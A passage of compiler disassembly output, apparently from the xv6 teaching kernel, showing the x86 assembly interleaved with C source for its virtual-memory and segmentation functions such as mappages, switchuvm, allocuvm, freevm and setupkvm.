mov %edx,(%esp) 80106430: 89 45 e4 mov %eax,-0x1c(%ebp) 80106433: e8 c8 be ff ff call 80102300 <kfree> *pte = 0; 80106438: 8b 45 e4 mov -0x1c(%ebp),%eax 8010643b: c7 00 00 00 00 00 movl $0x0,(%eax) for(; a < oldsz; a += PGSIZE){ 80106441: 81 c3 00 10 00 00 add $0x1000,%ebx 80106447: 39 f3 cmp %esi,%ebx 80106449: 73 25 jae 80106470 <deallocuvm.part.0+0x80> pte = walkpgdir(pgdir, (char*)a, 0); 8010644b: 31 c9 xor %ecx,%ecx 8010644d: 89 da mov %ebx,%edx 8010644f: 89 f8 mov %edi,%eax 80106451: e8 0a ff ff ff call 80106360 <walkpgdir> if(!pte) 80106456: 85 c0 test %eax,%eax 80106458: 75 be jne 80106418 <deallocuvm.part.0+0x28> a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; 8010645a: 81 e3 00 00 c0 ff and $0xffc00000,%ebx 80106460: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx for(; a < oldsz; a += PGSIZE){ 80106466: 81 c3 00 10 00 00 add $0x1000,%ebx 8010646c: 39 f3 cmp %esi,%ebx 8010646e: 72 db jb 8010644b <deallocuvm.part.0+0x5b> } } return newsz; } 80106470: 8b 45 e0 mov -0x20(%ebp),%eax 80106473: 83 c4 1c add $0x1c,%esp 80106476: 5b pop %ebx 80106477: 5e pop %esi 80106478: 5f pop %edi 80106479: 5d pop %ebp 8010647a: c3 ret panic("kfree"); 8010647b: c7 04 24 06 71 10 80 movl $0x80107106,(%esp) 80106482: e8 d9 9e ff ff call 80100360 <panic> 80106487: 89 f6 mov %esi,%esi 80106489: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106490 <seginit>: { 80106490: 55 push %ebp 80106491: 89 e5 mov %esp,%ebp 80106493: 83 ec 18 sub $0x18,%esp c = &cpus[cpuid()]; 80106496: e8 f5 d1 ff ff call 80103690 <cpuid> c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 8010649b: 31 c9 xor %ecx,%ecx 8010649d: ba ff ff ff ff mov $0xffffffff,%edx c = &cpus[cpuid()]; 801064a2: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax 801064a8: 05 80 27 11 80 add $0x80112780,%eax c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 801064ad: 66 89 50 78 mov %dx,0x78(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 801064b1: ba ff ff ff ff mov $0xffffffff,%edx lgdt(c->gdt, sizeof(c->gdt)); 801064b6: 83 c0 70 add $0x70,%eax c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 801064b9: 66 89 48 0a mov %cx,0xa(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 801064bd: 31 c9 xor %ecx,%ecx 801064bf: 66 89 50 10 mov %dx,0x10(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 801064c3: ba ff ff ff ff mov $0xffffffff,%edx c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 801064c8: 66 89 48 12 mov %cx,0x12(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 801064cc: 31 c9 xor %ecx,%ecx 801064ce: 66 89 50 18 mov %dx,0x18(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 801064d2: ba ff ff ff ff mov $0xffffffff,%edx c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 801064d7: 66 89 48 1a mov %cx,0x1a(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 801064db: 31 c9 xor %ecx,%ecx c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 801064dd: c6 40 0d 9a movb $0x9a,0xd(%eax) 801064e1: c6 40 0e cf movb $0xcf,0xe(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 801064e5: c6 40 15 92 movb $0x92,0x15(%eax) 801064e9: c6 40 16 cf movb $0xcf,0x16(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 801064ed: c6 40 1d fa movb $0xfa,0x1d(%eax) 801064f1: c6 40 1e cf movb $0xcf,0x1e(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 801064f5: c6 40 25 f2 movb $0xf2,0x25(%eax) 801064f9: c6 40 26 cf movb $0xcf,0x26(%eax) 801064fd: 66 89 50 20 mov %dx,0x20(%eax) pd[0] = size-1; 80106501: ba 2f 00 00 00 mov $0x2f,%edx c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 80106506: c6 40 0c 00 movb $0x0,0xc(%eax) 8010650a: c6 40 0f 00 movb $0x0,0xf(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 8010650e: c6 40 14 00 movb $0x0,0x14(%eax) 80106512: c6 40 17 00 movb $0x0,0x17(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106516: c6 40 1c 00 movb $0x0,0x1c(%eax) 8010651a: c6 40 1f 00 movb $0x0,0x1f(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 8010651e: 66 89 48 22 mov %cx,0x22(%eax) 80106522: c6 40 24 00 movb $0x0,0x24(%eax) 80106526: c6 40 27 00 movb $0x0,0x27(%eax) 8010652a: 66 89 55 f2 mov %dx,-0xe(%ebp) pd[1] = (uint)p; 8010652e: 66 89 45 f4 mov %ax,-0xc(%ebp) pd[2] = (uint)p >> 16; 80106532: c1 e8 10 shr $0x10,%eax 80106535: 66 89 45 f6 mov %ax,-0xa(%ebp) asm volatile("lgdt (%0)" : : "r" (pd)); 80106539: 8d 45 f2 lea -0xe(%ebp),%eax 8010653c: 0f 01 10 lgdtl (%eax) } 8010653f: c9 leave 80106540: c3 ret 80106541: eb 0d jmp 80106550 <mappages> 80106543: 90 nop 80106544: 90 nop 80106545: 90 nop 80106546: 90 nop 80106547: 90 nop 80106548: 90 nop 80106549: 90 nop 8010654a: 90 nop 8010654b: 90 nop 8010654c: 90 nop 8010654d: 90 nop 8010654e: 90 nop 8010654f: 90 nop 80106550 <mappages>: { 80106550: 55 push %ebp 80106551: 89 e5 mov %esp,%ebp 80106553: 57 push %edi 80106554: 56 push %esi 80106555: 53 push %ebx 80106556: 83 ec 1c sub $0x1c,%esp 80106559: 8b 45 0c mov 0xc(%ebp),%eax last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 8010655c: 8b 55 10 mov 0x10(%ebp),%edx { 8010655f: 8b 7d 14 mov 0x14(%ebp),%edi *pte = pa | perm | PTE_P; 80106562: 83 4d 18 01 orl $0x1,0x18(%ebp) a = (char*)PGROUNDDOWN((uint)va); 80106566: 89 c3 mov %eax,%ebx 80106568: 81 e3 00 f0 ff ff and $0xfffff000,%ebx last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 8010656e: 8d 44 10 ff lea -0x1(%eax,%edx,1),%eax 80106572: 29 df sub %ebx,%edi 80106574: 89 45 e4 mov %eax,-0x1c(%ebp) 80106577: 81 65 e4 00 f0 ff ff andl $0xfffff000,-0x1c(%ebp) 8010657e: eb 15 jmp 80106595 <mappages+0x45> if(*pte & PTE_P) 80106580: f6 00 01 testb $0x1,(%eax) 80106583: 75 3d jne 801065c2 <mappages+0x72> *pte = pa | perm | PTE_P; 80106585: 0b 75 18 or 0x18(%ebp),%esi if(a == last) 80106588: 3b 5d e4 cmp -0x1c(%ebp),%ebx *pte = pa | perm | PTE_P; 8010658b: 89 30 mov %esi,(%eax) if(a == last) 8010658d: 74 29 je 801065b8 <mappages+0x68> a += PGSIZE; 8010658f: 81 c3 00 10 00 00 add $0x1000,%ebx if((pte = walkpgdir(pgdir, a, 1)) == 0) 80106595: 8b 45 08 mov 0x8(%ebp),%eax 80106598: b9 01 00 00 00 mov $0x1,%ecx 8010659d: 89 da mov %ebx,%edx 8010659f: 8d 34 3b lea (%ebx,%edi,1),%esi 801065a2: e8 b9 fd ff ff call 80106360 <walkpgdir> 801065a7: 85 c0 test %eax,%eax 801065a9: 75 d5 jne 80106580 <mappages+0x30> } 801065ab: 83 c4 1c add $0x1c,%esp return -1; 801065ae: b8 ff ff ff ff mov $0xffffffff,%eax } 801065b3: 5b pop %ebx 801065b4: 5e pop %esi 801065b5: 5f pop %edi 801065b6: 5d pop %ebp 801065b7: c3 ret 801065b8: 83 c4 1c add $0x1c,%esp return 0; 801065bb: 31 c0 xor %eax,%eax } 801065bd: 5b pop %ebx 801065be: 5e pop %esi 801065bf: 5f pop %edi 801065c0: 5d pop %ebp 801065c1: c3 ret panic("remap"); 801065c2: c7 04 24 70 77 10 80 movl $0x80107770,(%esp) 801065c9: e8 92 9d ff ff call 80100360 <panic> 801065ce: 66 90 xchg %ax,%ax 801065d0 <switchkvm>: lcr3(V2P(kpgdir)); // switch to the kernel page table 801065d0: a1 a4 54 11 80 mov 0x801154a4,%eax { 801065d5: 55 push %ebp 801065d6: 89 e5 mov %esp,%ebp lcr3(V2P(kpgdir)); // switch to the kernel page table 801065d8: 05 00 00 00 80 add $0x80000000,%eax } static inline void lcr3(uint val) { asm volatile("movl %0,%%cr3" : : "r" (val)); 801065dd: 0f 22 d8 mov %eax,%cr3 } 801065e0: 5d pop %ebp 801065e1: c3 ret 801065e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801065e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801065f0 <switchuvm>: { 801065f0: 55 push %ebp 801065f1: 89 e5 mov %esp,%ebp 801065f3: 57 push %edi 801065f4: 56 push %esi 801065f5: 53 push %ebx 801065f6: 83 ec 1c sub $0x1c,%esp 801065f9: 8b 75 08 mov 0x8(%ebp),%esi if(p == 0) 801065fc: 85 f6 test %esi,%esi 801065fe: 0f 84 cd 00 00 00 je 801066d1 <switchuvm+0xe1> if(p->kstack == 0) 80106604: 8b 46 08 mov 0x8(%esi),%eax 80106607: 85 c0 test %eax,%eax 80106609: 0f 84 da 00 00 00 je 801066e9 <switchuvm+0xf9> if(p->pgdir == 0) 8010660f: 8b 7e 04 mov 0x4(%esi),%edi 80106612: 85 ff test %edi,%edi 80106614: 0f 84 c3 00 00 00 je 801066dd <switchuvm+0xed> pushcli(); 8010661a: e8 f1 da ff ff call 80104110 <pushcli> mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 8010661f: e8 ec cf ff ff call 80103610 <mycpu> 80106624: 89 c3 mov %eax,%ebx 80106626: e8 e5 cf ff ff call 80103610 <mycpu> 8010662b: 89 c7 mov %eax,%edi 8010662d: e8 de cf ff ff call 80103610 <mycpu> 80106632: 83 c7 08 add $0x8,%edi 80106635: 89 45 e4 mov %eax,-0x1c(%ebp) 80106638: e8 d3 cf ff ff call 80103610 <mycpu> 8010663d: 8b 4d e4 mov -0x1c(%ebp),%ecx 80106640: ba 67 00 00 00 mov $0x67,%edx 80106645: 66 89 93 98 00 00 00 mov %dx,0x98(%ebx) 8010664c: 66 89 bb 9a 00 00 00 mov %di,0x9a(%ebx) 80106653: c6 83 9d 00 00 00 99 movb $0x99,0x9d(%ebx) 8010665a: 83 c1 08 add $0x8,%ecx 8010665d: c1 e9 10 shr $0x10,%ecx 80106660: 83 c0 08 add $0x8,%eax 80106663: c1 e8 18 shr $0x18,%eax 80106666: 88 8b 9c 00 00 00 mov %cl,0x9c(%ebx) 8010666c: c6 83 9e 00 00 00 40 movb $0x40,0x9e(%ebx) 80106673: 88 83 9f 00 00 00 mov %al,0x9f(%ebx) mycpu()->ts.iomb = (ushort) 0xFFFF; 80106679: bb ff ff ff ff mov $0xffffffff,%ebx mycpu()->gdt[SEG_TSS].s = 0; 8010667e: e8 8d cf ff ff call 80103610 <mycpu> 80106683: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax) mycpu()->ts.ss0 = SEG_KDATA << 3; 8010668a: e8 81 cf ff ff call 80103610 <mycpu> 8010668f: b9 10 00 00 00 mov $0x10,%ecx 80106694: 66 89 48 10 mov %cx,0x10(%eax) mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE; 80106698: e8 73 cf ff ff call 80103610 <mycpu> 8010669d: 8b 56 08 mov 0x8(%esi),%edx 801066a0: 8d 8a 00 10 00 00 lea 0x1000(%edx),%ecx 801066a6: 89 48 0c mov %ecx,0xc(%eax) mycpu()->ts.iomb = (ushort) 0xFFFF; 801066a9: e8 62 cf ff ff call 80103610 <mycpu> 801066ae: 66 89 58 6e mov %bx,0x6e(%eax) asm volatile("ltr %0" : : "r" (sel)); 801066b2: b8 28 00 00 00 mov $0x28,%eax 801066b7: 0f 00 d8 ltr %ax lcr3(V2P(p->pgdir)); // switch to process's address space 801066ba: 8b 46 04 mov 0x4(%esi),%eax 801066bd: 05 00 00 00 80 add $0x80000000,%eax asm volatile("movl %0,%%cr3" : : "r" (val)); 801066c2: 0f 22 d8 mov %eax,%cr3 } 801066c5: 83 c4 1c add $0x1c,%esp 801066c8: 5b pop %ebx 801066c9: 5e pop %esi 801066ca: 5f pop %edi 801066cb: 5d pop %ebp popcli(); 801066cc: e9 ff da ff ff jmp 801041d0 <popcli> panic("switchuvm: no process"); 801066d1: c7 04 24 76 77 10 80 movl $0x80107776,(%esp) 801066d8: e8 83 9c ff ff call 80100360 <panic> panic("switchuvm: no pgdir"); 801066dd: c7 04 24 a1 77 10 80 movl $0x801077a1,(%esp) 801066e4: e8 77 9c ff ff call 80100360 <panic> panic("switchuvm: no kstack"); 801066e9: c7 04 24 8c 77 10 80 movl $0x8010778c,(%esp) 801066f0: e8 6b 9c ff ff call 80100360 <panic> 801066f5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801066f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106700 <inituvm>: { 80106700: 55 push %ebp 80106701: 89 e5 mov %esp,%ebp 80106703: 57 push %edi 80106704: 56 push %esi 80106705: 53 push %ebx 80106706: 83 ec 2c sub $0x2c,%esp 80106709: 8b 75 10 mov 0x10(%ebp),%esi 8010670c: 8b 55 08 mov 0x8(%ebp),%edx 8010670f: 8b 7d 0c mov 0xc(%ebp),%edi if(sz >= PGSIZE) 80106712: 81 fe ff 0f 00 00 cmp $0xfff,%esi 80106718: 77 64 ja 8010677e <inituvm+0x7e> 8010671a: 89 55 e4 mov %edx,-0x1c(%ebp) mem = kalloc(); 8010671d: e8 8e bd ff ff call 801024b0 <kalloc> memset(mem, 0, PGSIZE); 80106722: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106729: 00 8010672a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106731: 00 80106732: 89 04 24 mov %eax,(%esp) mem = kalloc(); 80106735: 89 c3 mov %eax,%ebx memset(mem, 0, PGSIZE); 80106737: e8 54 db ff ff call 80104290 <memset> mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U); 8010673c: 8b 55 e4 mov -0x1c(%ebp),%edx 8010673f: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80106745: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp) 8010674c: 00 8010674d: 89 44 24 0c mov %eax,0xc(%esp) 80106751: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106758: 00 80106759: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106760: 00 80106761: 89 14 24 mov %edx,(%esp) 80106764: e8 e7 fd ff ff call 80106550 <mappages> memmove(mem, init, sz); 80106769: 89 75 10 mov %esi,0x10(%ebp) 8010676c: 89 7d 0c mov %edi,0xc(%ebp) 8010676f: 89 5d 08 mov %ebx,0x8(%ebp) } 80106772: 83 c4 2c add $0x2c,%esp 80106775: 5b pop %ebx 80106776: 5e pop %esi 80106777: 5f pop %edi 80106778: 5d pop %ebp memmove(mem, init, sz); 80106779: e9 b2 db ff ff jmp 80104330 <memmove> panic("inituvm: more than a page"); 8010677e: c7 04 24 b5 77 10 80 movl $0x801077b5,(%esp) 80106785: e8 d6 9b ff ff call 80100360 <panic> 8010678a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106790 <loaduvm>: { 80106790: 55 push %ebp 80106791: 89 e5 mov %esp,%ebp 80106793: 57 push %edi 80106794: 56 push %esi 80106795: 53 push %ebx 80106796: 83 ec 1c sub $0x1c,%esp if((uint) addr % PGSIZE != 0) 80106799: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp) 801067a0: 0f 85 98 00 00 00 jne 8010683e <loaduvm+0xae> for(i = 0; i < sz; i += PGSIZE){ 801067a6: 8b 75 18 mov 0x18(%ebp),%esi 801067a9: 31 db xor %ebx,%ebx 801067ab: 85 f6 test %esi,%esi 801067ad: 75 1a jne 801067c9 <loaduvm+0x39> 801067af: eb 77 jmp 80106828 <loaduvm+0x98> 801067b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801067b8: 81 c3 00 10 00 00 add $0x1000,%ebx 801067be: 81 ee 00 10 00 00 sub $0x1000,%esi 801067c4: 39 5d 18 cmp %ebx,0x18(%ebp) 801067c7: 76 5f jbe 80106828 <loaduvm+0x98> 801067c9: 8b 55 0c mov 0xc(%ebp),%edx if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) 801067cc: 31 c9 xor %ecx,%ecx 801067ce: 8b 45 08 mov 0x8(%ebp),%eax 801067d1: 01 da add %ebx,%edx 801067d3: e8 88 fb ff ff call 80106360 <walkpgdir> 801067d8: 85 c0 test %eax,%eax 801067da: 74 56 je 80106832 <loaduvm+0xa2> pa = PTE_ADDR(*pte); 801067dc: 8b 00 mov (%eax),%eax n = PGSIZE; 801067de: bf 00 10 00 00 mov $0x1000,%edi 801067e3: 8b 4d 14 mov 0x14(%ebp),%ecx pa = PTE_ADDR(*pte); 801067e6: 25 00 f0 ff ff and $0xfffff000,%eax n = PGSIZE; 801067eb: 81 fe 00 10 00 00 cmp $0x1000,%esi 801067f1: 0f 42 fe cmovb %esi,%edi if(readi(ip, P2V(pa), offset+i, n) != n) 801067f4: 05 00 00 00 80 add $0x80000000,%eax 801067f9: 89 44 24 04 mov %eax,0x4(%esp) 801067fd: 8b 45 10 mov 0x10(%ebp),%eax 80106800: 01 d9 add %ebx,%ecx 80106802: 89 7c 24 0c mov %edi,0xc(%esp) 80106806: 89 4c 24 08 mov %ecx,0x8(%esp) 8010680a: 89 04 24 mov %eax,(%esp) 8010680d: e8 5e b1 ff ff call 80101970 <readi> 80106812: 39 f8 cmp %edi,%eax 80106814: 74 a2 je 801067b8 <loaduvm+0x28> } 80106816: 83 c4 1c add $0x1c,%esp return -1; 80106819: b8 ff ff ff ff mov $0xffffffff,%eax } 8010681e: 5b pop %ebx 8010681f: 5e pop %esi 80106820: 5f pop %edi 80106821: 5d pop %ebp 80106822: c3 ret 80106823: 90 nop 80106824: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106828: 83 c4 1c add $0x1c,%esp return 0; 8010682b: 31 c0 xor %eax,%eax } 8010682d: 5b pop %ebx 8010682e: 5e pop %esi 8010682f: 5f pop %edi 80106830: 5d pop %ebp 80106831: c3 ret panic("loaduvm: address should exist"); 80106832: c7 04 24 cf 77 10 80 movl $0x801077cf,(%esp) 80106839: e8 22 9b ff ff call 80100360 <panic> panic("loaduvm: addr must be page aligned"); 8010683e: c7 04 24 70 78 10 80 movl $0x80107870,(%esp) 80106845: e8 16 9b ff ff call 80100360 <panic> 8010684a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106850 <allocuvm>: { 80106850: 55 push %ebp 80106851: 89 e5 mov %esp,%ebp 80106853: 57 push %edi 80106854: 56 push %esi 80106855: 53 push %ebx 80106856: 83 ec 2c sub $0x2c,%esp 80106859: 8b 7d 10 mov 0x10(%ebp),%edi if(newsz >= KERNBASE) 8010685c: 85 ff test %edi,%edi 8010685e: 0f 88 8f 00 00 00 js 801068f3 <allocuvm+0xa3> if(newsz < oldsz) 80106864: 3b 7d 0c cmp 0xc(%ebp),%edi return oldsz; 80106867: 8b 45 0c mov 0xc(%ebp),%eax if(newsz < oldsz) 8010686a: 0f 82 85 00 00 00 jb 801068f5 <allocuvm+0xa5> a = PGROUNDUP(oldsz); 80106870: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80106876: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < newsz; a += PGSIZE){ 8010687c: 39 df cmp %ebx,%edi 8010687e: 77 57 ja 801068d7 <allocuvm+0x87> 80106880: eb 7e jmp 80106900 <allocuvm+0xb0> 80106882: 8d b6 00 00 00 00 lea 0x0(%esi),%esi memset(mem, 0, PGSIZE); 80106888: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 8010688f: 00 80106890: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106897: 00 80106898: 89 04 24 mov %eax,(%esp) 8010689b: e8 f0 d9 ff ff call 80104290 <memset> if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ 801068a0: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 801068a6: 89 44 24 0c mov %eax,0xc(%esp) 801068aa: 8b 45 08 mov 0x8(%ebp),%eax 801068ad: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp) 801068b4: 00 801068b5: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 801068bc: 00 801068bd: 89 5c 24 04 mov %ebx,0x4(%esp) 801068c1: 89 04 24 mov %eax,(%esp) 801068c4: e8 87 fc ff ff call 80106550 <mappages> 801068c9: 85 c0 test %eax,%eax 801068cb: 78 43 js 80106910 <allocuvm+0xc0> for(; a < newsz; a += PGSIZE){ 801068cd: 81 c3 00 10 00 00 add $0x1000,%ebx 801068d3: 39 df cmp %ebx,%edi 801068d5: 76 29 jbe 80106900 <allocuvm+0xb0> mem = kalloc(); 801068d7: e8 d4 bb ff ff call 801024b0 <kalloc> if(mem == 0){ 801068dc: 85 c0 test %eax,%eax mem = kalloc(); 801068de: 89 c6 mov %eax,%esi if(mem == 0){ 801068e0: 75 a6 jne 80106888 <allocuvm+0x38> cprintf("allocuvm out of memory\n"); 801068e2: c7 04 24 ed 77 10 80 movl $0x801077ed,(%esp) 801068e9: e8 62 9d ff ff call 80100650 <cprintf> if(newsz >= oldsz) 801068ee: 3b 7d 0c cmp 0xc(%ebp),%edi 801068f1: 77 47 ja 8010693a <allocuvm+0xea> return 0; 801068f3: 31 c0 xor %eax,%eax } 801068f5: 83 c4 2c add $0x2c,%esp 801068f8: 5b pop %ebx 801068f9: 5e pop %esi 801068fa: 5f pop %edi 801068fb: 5d pop %ebp 801068fc: c3 ret 801068fd: 8d 76 00 lea 0x0(%esi),%esi 80106900: 83 c4 2c add $0x2c,%esp 80106903: 89 f8 mov %edi,%eax 80106905: 5b pop %ebx 80106906: 5e pop %esi 80106907: 5f pop %edi 80106908: 5d pop %ebp 80106909: c3 ret 8010690a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cprintf("allocuvm out of memory (2)\n"); 80106910: c7 04 24 05 78 10 80 movl $0x80107805,(%esp) 80106917: e8 34 9d ff ff call 80100650 <cprintf> if(newsz >= oldsz) 8010691c: 3b 7d 0c cmp 0xc(%ebp),%edi 8010691f: 76 0d jbe 8010692e <allocuvm+0xde> 80106921: 8b 4d 0c mov 0xc(%ebp),%ecx 80106924: 89 fa mov %edi,%edx 80106926: 8b 45 08 mov 0x8(%ebp),%eax 80106929: e8 c2 fa ff ff call 801063f0 <deallocuvm.part.0> kfree(mem); 8010692e: 89 34 24 mov %esi,(%esp) 80106931: e8 ca b9 ff ff call 80102300 <kfree> return 0; 80106936: 31 c0 xor %eax,%eax 80106938: eb bb jmp 801068f5 <allocuvm+0xa5> 8010693a: 8b 4d 0c mov 0xc(%ebp),%ecx 8010693d: 89 fa mov %edi,%edx 8010693f: 8b 45 08 mov 0x8(%ebp),%eax 80106942: e8 a9 fa ff ff call 801063f0 <deallocuvm.part.0> return 0; 80106947: 31 c0 xor %eax,%eax 80106949: eb aa jmp 801068f5 <allocuvm+0xa5> 8010694b: 90 nop 8010694c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106950 <deallocuvm>: { 80106950: 55 push %ebp 80106951: 89 e5 mov %esp,%ebp 80106953: 8b 55 0c mov 0xc(%ebp),%edx 80106956: 8b 4d 10 mov 0x10(%ebp),%ecx 80106959: 8b 45 08 mov 0x8(%ebp),%eax if(newsz >= oldsz) 8010695c: 39 d1 cmp %edx,%ecx 8010695e: 73 08 jae 80106968 <deallocuvm+0x18> } 80106960: 5d pop %ebp 80106961: e9 8a fa ff ff jmp 801063f0 <deallocuvm.part.0> 80106966: 66 90 xchg %ax,%ax 80106968: 89 d0 mov %edx,%eax 8010696a: 5d pop %ebp 8010696b: c3 ret 8010696c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106970 <freevm>: // Free a page table and all the physical memory pages // in the user part. void freevm(pde_t *pgdir) { 80106970: 55 push %ebp 80106971: 89 e5 mov %esp,%ebp 80106973: 56 push %esi 80106974: 53 push %ebx 80106975: 83 ec 10 sub $0x10,%esp 80106978: 8b 75 08 mov 0x8(%ebp),%esi uint i; if(pgdir == 0) 8010697b: 85 f6 test %esi,%esi 8010697d: 74 59 je 801069d8 <freevm+0x68> 8010697f: 31 c9 xor %ecx,%ecx 80106981: ba 00 00 00 80 mov $0x80000000,%edx 80106986: 89 f0 mov %esi,%eax panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 80106988: 31 db xor %ebx,%ebx 8010698a: e8 61 fa ff ff call 801063f0 <deallocuvm.part.0> 8010698f: eb 12 jmp 801069a3 <freevm+0x33> 80106991: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106998: 83 c3 01 add $0x1,%ebx 8010699b: 81 fb 00 04 00 00 cmp $0x400,%ebx 801069a1: 74 27 je 801069ca <freevm+0x5a> if(pgdir[i] & PTE_P){ 801069a3: 8b 14 9e mov (%esi,%ebx,4),%edx 801069a6: f6 c2 01 test $0x1,%dl 801069a9: 74 ed je 80106998 <freevm+0x28> char * v = P2V(PTE_ADDR(pgdir[i])); 801069ab: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(i = 0; i < NPDENTRIES; i++){ 801069b1: 83 c3 01 add $0x1,%ebx char * v = P2V(PTE_ADDR(pgdir[i])); 801069b4: 81 c2 00 00 00 80 add $0x80000000,%edx kfree(v); 801069ba: 89 14 24 mov %edx,(%esp) 801069bd: e8 3e b9 ff ff call 80102300 <kfree> for(i = 0; i < NPDENTRIES; i++){ 801069c2: 81 fb 00 04 00 00 cmp $0x400,%ebx 801069c8: 75 d9 jne 801069a3 <freevm+0x33> } } kfree((char*)pgdir); 801069ca: 89 75 08 mov %esi,0x8(%ebp) } 801069cd: 83 c4 10 add $0x10,%esp 801069d0: 5b pop %ebx 801069d1: 5e pop %esi 801069d2: 5d pop %ebp kfree((char*)pgdir); 801069d3: e9 28 b9 ff ff jmp 80102300 <kfree> panic("freevm: no pgdir"); 801069d8: c7 04 24 21 78 10 80 movl $0x80107821,(%esp) 801069df: e8 7c 99 ff ff call 80100360 <panic> 801069e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801069ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801069f0 <setupkvm>: { 801069f0: 55 push %ebp 801069f1: 89 e5 mov %esp,%ebp 801069f3: 56 push %esi 801069f4: 53 push %ebx 801069f5: 83 ec 20 sub $0x20,%esp if((pgdir = (pde_t*)kalloc()) == 0) 801069f8: e8 b3 ba ff ff call 801024b0 <kalloc> 801069fd: 85 c0 test %eax,%eax 801069ff: 89 c6 mov %eax,%esi 80106a01: 74 75 je 80106a78 <setupkvm+0x88> memset(pgdir, 0, PGSIZE); 80106a03: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106a0a: 00 for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106a0b: bb 20 a4 10 80 mov $0x8010a420,%ebx memset(pgdir, 0, PGSIZE); 80106a10: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106a17: 00 80106a18: 89 04 24 mov %eax,(%esp) 80106a1b: e8 70 d8 ff ff call 80104290 <memset> if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 80106a20: 8b 53 0c mov 0xc(%ebx),%edx 80106a23: 8b 43 04 mov 0x4(%ebx),%eax 80106a26: 89 34 24 mov %esi,(%esp) 80106a29: 89 54 24 10 mov %edx,0x10(%esp) 80106a2d: 8b 53 08 mov 0x8(%ebx),%edx 80106a30: 89 44 24 0c mov %eax,0xc(%esp) 80106a34: 29 c2 sub %eax,%edx 80106a36: 8b 03 mov (%ebx),%eax 80106a38: 89 54 24 08 mov %edx,0x8(%esp) 80106a3c: 89 44 24 04 mov %eax,0x4(%esp) 80106a40: e8 0b fb ff ff call 80106550 <mappages> 80106a45: 85 c0 test %eax,%eax 80106a47: 78 17 js 80106a60 <setupkvm+0x70> for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106a49: 83 c3 10 add $0x10,%ebx 80106a4c: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx 80106a52: 72 cc jb 